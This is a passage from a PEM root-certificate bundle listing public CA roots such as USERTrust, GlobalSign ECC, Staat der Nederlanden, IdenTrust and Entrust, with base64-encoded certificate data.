rFaisNZ+EZLpLrqeLppysb0ZRGxhNaKatBYSaVqM4dc+pBroLwP0rmEdEBsqpIt6xf4FpuHA1sj+
nq6PK7o9mfjYcwlYRm6mnPTXJ9OV2jeDchzTc+CiR5kDOF3VSXkAKRzH7JsgHAckaVd4sjn8OoSg
tZx8jb8uk2IntznaFxiuvTwJaP+EmzzV1gsD41eeFPfR60/IvYcjt7ZJQ3mFXLrrkguhxuhoqEwW
sRqZCuhTLJK7oQkYdQxlqHvLI7cawiiFwxv/0Cti76R7CZGYZ4wUAc1oBmpjIXUDgIiKboHGhfKp
pC3n9KUkEEeDys30jXlYsQab5xoq2Z0B15R97QNKyvDb6KkBPvVWmckejkk9u+UJueBPSZI9FoJA
zMxZxuY67RIuaTxslbH9qh17f4a+Hg4yRvv7E491f0yLS0Zj/gA0QHDBw7mh3aZw4gSzQbzpgJHq
ZJx64SIDqZxubw5lT2yHh17zbqD5daWbQOhTsiedSrnAdyGN/4fy3ryM7xfft0kL0fJuMAsaDk52
7RH89elWsn2/x20Kk4yl0MC2Hb46TpSi125sC8KKfPog88Tk5c0NqMuRkrF8hey1FGlmDoLnzc7I
LaZRfyHBNVOFBkpdn627G190
-----END CERTIFICATE-----

USERTrust RSA Certification Authority
=====================================
-----BEGIN CERTIFICATE-----
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
Q+6IHdfGjjxDah2nGN59PRbxYvnKkKj9
-----END CERTIFICATE-----

USERTrust ECC Certification Authority
=====================================
-----BEGIN CERTIFICATE-----
MIICjzCCAhWgAwIBAgIQXIuZxVqUxdJxVt7NiYDMJjAKBggqhkjOPQQDAzCBiDELMAkGA1UEBhMC
VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwHhcNMTAwMjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMC
VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQarFRaqfloI+d61SRvU8Za2EurxtW2
0eZzca7dnNYMYf3boIkDuAUU7FfO7l0/4iGzzvfUinngo4N+LZfQYcTxmdwlkWOrfzCjtHDix6Ez
nPO/LlxTsV+zfTJ/ijTjeXmjQjBAMB0GA1UdDgQWBBQ64QmG1M8ZwpZ2dEl23OA1xmNjmjAOBgNV
HQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjA2Z6EWCNzklwBB
HU6+4WMBzzuqQhFkoJ2UOQIReVx7Hfpkue4WQrO/isIJxOzksU0CMQDpKmFHjFJKS04YcPbWRNZu
9YO6bVi9JNlWSOrvxKJGgYhqOkbRqZtNyWHa0V1Xahg=
-----END CERTIFICATE-----

GlobalSign ECC Root CA - R4
===========================
-----BEGIN CERTIFICATE-----
MIIB4TCCAYegAwIBAgIRKjikHJYKBN5CsiilC+g0mAIwCgYIKoZIzj0EAwIwUDEkMCIGA1UECxMb
R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI0MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD
EwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoXDTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMb
R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI0MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD
EwpHbG9iYWxTaWduMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEuMZ5049sJQ6fLjkZHAOkrprl
OQcJFspjsbmG+IpXwVfOQvpzofdlQv8ewQCybnMO/8ch5RikqtlxP6jUuc6MHaNCMEAwDgYDVR0P
AQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFFSwe61FuOJAf/sKbvu+M8k8o4TV
MAoGCCqGSM49BAMCA0gAMEUCIQDckqGgE6bPA7DmxCGXkPoUVy0D7O48027KqGx2vKLeuwIgJ6iF
JzWbVsaj8kfSt24bAgAXqmemFZHe+pTsewv4n4Q=
-----END CERTIFICATE-----

GlobalSign ECC Root CA - R5
===========================
-----BEGIN CERTIFICATE-----
MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEkMCIGA1UECxMb
R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD
EwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoXDTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMb
R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD
EwpHbG9iYWxTaWduMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6
SFkc8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8kehOvRnkmS
h5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd
BgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYIKoZIzj0EAwMDaAAwZQIxAOVpEslu28Yx
uglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7
yFz9SO8NdCKoCOJuxUnOxwy8p2Fp8fc74SrL+SvzZpA3
-----END CERTIFICATE-----

Staat der Nederlanden Root CA - G3
==================================
-----BEGIN CERTIFICATE-----
MIIFdDCCA1ygAwIBAgIEAJiiOTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJOTDEeMBwGA1UE
CgwVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSswKQYDVQQDDCJTdGFhdCBkZXIgTmVkZXJsYW5kZW4g
Um9vdCBDQSAtIEczMB4XDTEzMTExNDExMjg0MloXDTI4MTExMzIzMDAwMFowWjELMAkGA1UEBhMC
TkwxHjAcBgNVBAoMFVN0YWF0IGRlciBOZWRlcmxhbmRlbjErMCkGA1UEAwwiU3RhYXQgZGVyIE5l
ZGVybGFuZGVuIFJvb3QgQ0EgLSBHMzCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAL4y
olQPcPssXFnrbMSkUeiFKrPMSjTysF/zDsccPVMeiAho2G89rcKezIJnByeHaHE6n3WWIkYFsO2t
x1ueKt6c/DrGlaf1F2cY5y9JCAxcz+bMNO14+1Cx3Gsy8KL+tjzk7FqXxz8ecAgwoNzFs21v0IJy
EavSgWhZghe3eJJg+szeP4TrjTgzkApyI/o1zCZxMdFyKJLZWyNtZrVtB0LrpjPOktvA9mxjeM3K
Tj215VKb8b475lRgsGYeCasH/lSJEULR9yS6YHgamPfJEf0WwTUaVHXvQ9Plrk7O53vDxk5hUUur
mkVLoR9BvUhTFXFkC4az5S6+zqQbwSmEorXLCCN2QyIkHxcE1G6cxvx/K2Ya7Irl1s9N9WMJtxU5
1nus6+N86U78dULI7ViVDAZCopz35HCz33JvWjdAidiFpNfxC95DGdRKWCyMijmev4SH8RY7Ngzp
07TKbBlBUgmhHbBqv4LvcFEhMtwFdozL92TkA1CvjJFnq8Xy7ljY3r735zHPbMk7ccHViLVlvMDo
FxcHErVc0qsgk7TmgoNwNsXNo42ti+yjwUOH5kPiNL6VizXtBznaqB16nzaeErAMZRKQFWDZJkBE
41ZgpRDUajz9QdwOWke275dhdU/Z/seyHdTtXUmzqWrLZoQT1Vyg3N9udwbRcXXIV2+vD3dbAgMB
AAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRUrfrHkleu
yjWcLhL75LpdINyUVzANBgkqhkiG9w0BAQsFAAOCAgEAMJmdBTLIXg47mAE6iqTnB/d6+Oea31BD
U5cqPco8R5gu4RV78ZLzYdqQJRZlwJ9UXQ4DO1t3ApyEtg2YXzTdO2PCwyiBwpwpLiniyMMB8jPq
KqrMCQj3ZWfGzd/TtiunvczRDnBfuCPRy5FOCvTIeuXZYzbB1N/8Ipf3YF3qKS9Ysr1YvY2WTxB1
v0h7PVGHoTx0IsL8B3+A3MSs/mrBcDCw6Y5p4ixpgZQJut3+TcCDjJRYwEYgr5wfAvg1VUkvRtTA
8KCWAg8zxXHzniN9lLf9OtMJgwYh/WA9rjLA0u6NpvDntIJ8CsxwyXmA+P5M9zWEGYox+wrZ13+b
8KKaa8MFSu1BYBQw0aoRQm7TIwIEC8Zl3d1Sd9qBa7Ko+gE4uZbqKmxnl4mUnrzhVNXkanjvSr0r
mj1AfsbAddJu+2gw7OyLnflJNZoaLNmzlTnVHpL3prllL+U9bTpITAjc5CgSKL59NVzq4BZ+Extq
1z7XnvwtdbLBFNUjA9tbbws+eC8N3jONFrdI54OagQ97wUNNVQQXOEpR1VmiiXTTn74eS9fGbbeI
JG9gkaSChVtWQbzQRKtqE77RLFi3EjNYsjdj3BP1lB0/QFH1T/U67cjF68IeHRaVesd+QnGTbksV
tzDfqu1XhUisHWrdOWnk4Xl4vs4Fv6EM94B7IWcnMFk=
-----END CERTIFICATE-----

Staat der Nederlanden EV Root CA
================================
-----BEGIN CERTIFICATE-----
MIIFcDCCA1igAwIBAgIEAJiWjTANBgkqhkiG9w0BAQsFADBYMQswCQYDVQQGEwJOTDEeMBwGA1UE
CgwVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSkwJwYDVQQDDCBTdGFhdCBkZXIgTmVkZXJsYW5kZW4g
RVYgUm9vdCBDQTAeFw0xMDEyMDgxMTE5MjlaFw0yMjEyMDgxMTEwMjhaMFgxCzAJBgNVBAYTAk5M
MR4wHAYDVQQKDBVTdGFhdCBkZXIgTmVkZXJsYW5kZW4xKTAnBgNVBAMMIFN0YWF0IGRlciBOZWRl
cmxhbmRlbiBFViBSb290IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA48d+ifkk
SzrSM4M1LGns3Amk41GoJSt5uAg94JG6hIXGhaTK5skuU6TJJB79VWZxXSzFYGgEt9nCUiY4iKTW
O0Cmws0/zZiTs1QUWJZV1VD+hq2kY39ch/aO5ieSZxeSAgMs3NZmdO3dZ//BYY1jTw+bbRcwJu+r
0h8QoPnFfxZpgQNH7R5ojXKhTbImxrpsX23Wr9GxE46prfNeaXUmGD5BKyF/7otdBwadQ8QpCiv8
Kj6GyzyDOvnJDdrFmeK8eEEzduG/L13lpJhQDBXd4Pqcfzho0LKmeqfRMb1+ilgnQ7O6M5HTp5gV
XJrm0w912fxBmJc+qiXbj5IusHsMX/FjqTf5m3VpTCgmJdrV8hJwRVXj33NeN/UhbJCONVrJ0yPr
08C+eKxCKFhmpUZtcALXEPlLVPxdhkqHz3/KRawRWrUgUY0viEeXOcDPusBCAUCZSCELa6fS/ZbV
0b5GnUngC6agIk440ME8MLxwjyx1zNDFjFE7PZQIZCZhfbnDZY8UnCHQqv0XcgOPvZuM5l5Tnrmd
74K74bzickFbIZTTRTeU0d8JOV3nI6qaHcptqAqGhYqCvkIH1vI4gnPah1vlPNOePqc7nvQDs/nx
fRN0Av+7oeX6AHkcpmZBiFxgV6YuCcS6/ZrPpx9Aw7vMWgpVSzs4dlG4Y4uElBbmVvMCAwEAAaNC
MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFP6rAJCYniT8qcwa
ivsnuL8wbqg7MA0GCSqGSIb3DQEBCwUAA4ICAQDPdyxuVr5Os7aEAJSrR8kN0nbHhp8dB9O2tLsI
eK9p0gtJ3jPFrK3CiAJ9Brc1AsFgyb/E6JTe1NOpEyVa/m6irn0F3H3zbPB+po3u2dfOWBfoqSmu
c0iH55vKbimhZF8ZE/euBhD/UcabTVUlT5OZEAFTdfETzsemQUHSv4ilf0X8rLiltTMMgsT7B/Zq
5SWEXwbKwYY5EdtYzXc7LMJMD16a4/CrPmEbUCTCwPTxGfARKbalGAKb12NMcIxHowNDXLldRqAN
b/9Zjr7dn3LDWyvfjFvO5QxGbJKyCqNMVEIYFRIYvdr8unRu/8G2oGTYqV9Vrp9canaW2HNnh/tN
f1zuacpzEPuKqf2evTY4SUmH9A4U8OmHuD+nT3pajnnUk+S7aFKErGzp85hwVXIy+TSrK0m1zSBi
5Dp6Z2Orltxtrpfs/J92VoguZs9btsmksNcFuuEnL5O7Jiqik7Ab846+HUCjuTaPPoIaGl6I6lD4
WeKDRikL40Rc4ZW2aZCaFG+XroHPaO+Zmr615+F/+PoTRxZMzG0IQOeLeG9QgkRQP2YGiqtDhFZK
DyAthg710tvSeopLzaXoTvFeJiUBWSOgftL2fiFX1ye8FVdMpEbB4IMeDExNH08GGeL5qPQ6gqGy
eUN51q1veieQA6TqJIc/2b3Z6fJfUEkc7uzXLg==
-----END CERTIFICATE-----

IdenTrust Commercial Root CA 1
==============================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBKMQswCQYDVQQG
EwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBS
b290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQwMTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzES
MBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENB
IDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ld
hNlT3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU+ehcCuz/
mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gpS0l4PJNgiCL8mdo2yMKi
1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1bVoE/c40yiTcdCMbXTMTEl3EASX2MN0C
XZ/g1Ue9tOsbobtJSdifWwLziuQkkORiT0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl
3ZBWzvurpWCdxJ35UrCLvYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzy
NeVJSQjKVsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZKdHzV
WYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHTc+XvvqDtMwt0viAg
xGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hvl7yTmvmcEpB4eoCHFddydJxVdHix
uuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5NiGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMC
AQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZI
hvcNAQELBQADggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH
6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwtLRvM7Kqas6pg
ghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93nAbowacYXVKV7cndJZ5t+qnt
ozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3+wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmV
YjzlVYA211QC//G5Xc7UI2/YRYRKW2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUX
feu+h1sXIFRRk0pTAwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/ro
kTLql1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG4iZZRHUe
2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZmUlO+KWA2yUPHGNiiskz
Z2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7R
cGzM7vRX+Bi6hG6H
-----END CERTIFICATE-----

IdenTrust Public Sector Root CA 1
=================================
-----BEGIN CERTIFICATE-----
MIIFZjCCA06gAwIBAgIQCgFCgAAAAUUjz0Z8AAAAAjANBgkqhkiG9w0BAQsFADBNMQswCQYDVQQG
EwJVUzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3Rv
ciBSb290IENBIDEwHhcNMTQwMTE2MTc1MzMyWhcNMzQwMTE2MTc1MzMyWjBNMQswCQYDVQQGEwJV
UzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3RvciBS
b290IENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2IpT8pEiv6EdrCvsnduTy
P4o7ekosMSqMjbCpwzFrqHd2hCa2rIFCDQjrVVi7evi8ZX3yoG2LqEfpYnYeEe4IFNGyRBb06tD6
Hi9e28tzQa68ALBKK0CyrOE7S8ItneShm+waOh7wCLPQ5CQ1B5+ctMlSbdsHyo+1W/CD80/HLaXI
rcuVIKQxKFdYWuSNG5qrng0M8gozOSI5Cpcu81N3uURF/YTLNiCBWS2ab21ISGHKTN9T0a9SvESf
qy9rg3LvdYDaBjMbXcjaY8ZNzaxmMc3R3j6HEDbhuaR672BQssvKplbgN6+rNBM5Jeg5ZuSYeqoS
mJxZZoY+rfGwyj4GD3vwEUs3oERte8uojHH01bWRNszwFcYr3lEXsZdMUD2xlVl8BX0tIdUAvwFn
ol57plzy9yLxkA2T26pEUWbMfXYD62qoKjgZl3YNa4ph+bz27nb9cCvdKTz4Ch5bQhyLVi9VGxyh
LrXHFub4qjySjmm2AcG1hp2JDws4lFTo6tyePSW8Uybt1as5qsVATFSrsrTZ2fjXctscvG29ZV/v
iDUqZi/u9rNl8DONfJhBaUYPQxxp+pu10GFqzcpL2UyQRqsVWaFHVCkugyhfHMKiq3IXAAaOReyL
4jM9f9oZRORicsPfIsbyVtTdX5Vy7W1f90gDW/3FKqD2cyOEEBsB5wIDAQABo0IwQDAOBgNVHQ8B
Af8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU43HgntinQtnbcZFrlJPrw6PRFKMw
DQYJKoZIhvcNAQELBQADggIBAEf63QqwEZE4rU1d9+UOl1QZgkiHVIyqZJnYWv6IAcVYpZmxI1Qj
t2odIFflAWJBF9MJ23XLblSQdf4an4EKwt3X9wnQW3IV5B4Jaj0z8yGa5hV+rVHVDRDtfULAj+7A
mgjVQdZcDiFpboBhDhXAuM/FSRJSzL46zNQuOAXeNf0fb7iAaJg9TaDKQGXSc3z1i9kKlT/YPyNt
GtEqJBnZhbMX73huqVjRI9PHE+1yJX9dsXNw0H8GlwmEKYBhHfpe/3OsoOOJuBxxFcbeMX8S3OFt
m6/n6J91eEyrRjuazr8FGF1NFTwWmhlQBJqymm9li1JfPFgEKCXAZmExfrngdbkaqIHWchezxQMx
NRF4eKLg6TCMf4DfWN88uieW4oA0beOY02QnrEh+KHdcxiVhJfiFDGX6xDIvpZgF5PgLZxYWxoK4
Mhn5+bl53B/N66+rDt0b20XkeucC4pVd/GnwU2lhlXV5C15V5jgclKlZM57IcXR5f1GJtshquDDI
ajjDbp7hNxbqBWJMWxJH7ae0s1hWx0nzfxJoCTFx8G34Tkf71oXuxVhAGaQdp/lLQzfcaFpPz+vC
ZHTetBXZ9FRUGi8c15dxVJCO2SCdUyt/q4/i6jC8UDfv8Ue1fXwsBOxonbRJRBD0ckscZOf85muQ
3Wl9af0AVqW3rLatt8o+Ae+c
-----END CERTIFICATE-----

Entrust Root Certification Authority - G2
=========================================
-----BEGIN CERTIFICATE-----
MIIEPjCCAyagAwIBAgIESlOMKDANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMCVVMxFjAUBgNV
BAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVy
bXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ug
b25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIw
HhcNMDkwNzA3MTcyNTU0WhcNMzAxMjA3MTc1NTU0WjCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoT
DUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMx
OTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25s
eTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6hLZy254Ma+KZ6TABp3bqMriVQRrJ2mFOWHLP
/vaCeb9zYQYKpSfYs1/TRU4cctZOMvJyig/3gxnQaoCAAEUesMfnmr8SVycco2gvCoe9amsOXmXz
HHfV1IWNcCG0szLni6LVhjkCsbjSR87kyUnEO6fe+1R9V77w6G7CebI6C1XiUJgWMhNcL3hWwcKU
s/Ja5CeanyTXxuzQmyWC48zCxEXFjJd6BmsqEZ+pCm5IO2/b1BEZQvePB7/1U1+cPvQXLOZprE4y
TGJ36rfo5bs0vBmLrpxR57d+tVOxMyLlbc9wPBr64ptntoP0jaWvYkxN4FisZDQSA/i2jZRjJKRx
AgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqciZ6
0B7vfec7aVHUbI2fkBJmqzANBgkqhkiG9w0BAQsFAAOCAQEAeZ8dlsa2eT8ijYfThwMEYGprmi5Z
iXMRrEPR9RP/jTkrwPK9T3CMqS/qF8QLVJ7UG5aYMzyorWKiAHarWWluBh1+xLlEjZivEtRh2woZ
Rkfz6/djwUAFQKXSt/S1mja/qYh2iARVBCuch38aNzx+LaUa2NSJXsq9rD1s2G2v1fN2D807iDgi
nWyTmsQ9v4IbZT+mD12q/OWyFcq1rca8PdCE6OoGcrBNOTJ4vz4RnAuknZoh8/CbCzB428Hch0P+
vGOaysXCHMnHjf87ElgI5rY97HosTvuDls4MPGmHVHOkc8KT/1EQrBVUAdj8BbGJoX90g5pJ19xO
e4pIb4tF9g==
-----END CERTIFICATE-----

Entrust Root Certification Authority - EC1
==========================================
-----BEGIN CERTIFICATE-----
MIIC+TCCAoCgAwIBAgINAKaLeSkAAAAAUNCR+TAKBggqhkjOPQQDAzCBvzELMAkGA1UEBhMCVVMx
FjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVn
YWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXpl
ZCB1c2Ugb25seTEzMDEGA1UEAxMqRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5
IC0gRUMxMB4XDTEyMTIxODE1MjUzNloXDTM3MTIxODE1NTUzNlowgb8xCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0L2xlZ2Fs
LXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhvcml6ZWQg
dXNlIG9ubHkxMzAxBgNVBAMTKkVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAt
IEVDMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABIQTydC6bUF74mzQ61VfZgIaJPRbiWlH47jCffHy
AsWfoPZb1YsGGYZPUxBtByQnoaD41UcZYUx9ypMn6nQM72+WCf5j7HBdNq1nd67JnXxVRDqiY1Ef
9eNi1KlHBz7MIKNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE
FLdj5xrdjekIplWDpOBqUEFlEUJJMAoGCCqGSM49BAMDA2cAMGQCMGF52OVCR98crlOZF7ZvHH3h
vxGU0QOIdeSNiaSKd0bebWHvAvX7td/M/k7//qnmpwIwW5nXhTcGtXsI/esni0qU+eH6p44mCOh8
kmhtc9hvJqwhAriZtyZBWyVgrtBIGu4G
-----END CERTIFICATE-----

CFCA EV ROOT
============
-----BEGIN CERTIFICATE-----
